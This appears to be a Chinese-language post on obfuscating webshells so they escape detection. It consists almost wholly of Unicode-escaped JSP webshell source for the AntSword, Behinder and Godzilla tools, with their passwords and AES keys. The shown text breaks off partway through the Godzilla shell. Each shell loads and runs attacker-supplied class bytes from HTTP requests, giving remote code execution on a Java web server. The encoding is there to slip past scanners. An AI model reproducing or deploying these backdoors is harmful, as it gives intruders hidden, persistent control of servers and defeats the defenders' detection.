由于现在常见的 shell（蚁剑、冰蝎、哥斯拉等），极其容易被一眼识破。因此，需要掌握一定的 webshell 混淆技巧用于对抗。

antUnicode

antUnicode

编码

根据不同的编码混淆 webshell。下面提供不同编码下蚁剑、冰蝎、哥斯拉等 shell。

Unicode

蚁剑

蚁剑，密码 ant

<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>
<%
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>

冰蝎

冰蝎，密码 rebeyond

<%@page import="\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"%><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028"POST"\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d"e45e329feb5d925b"\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u"\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"AES"\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"AES"\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>

哥斯拉

哥斯拉，密码 pass，密钥 key

<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\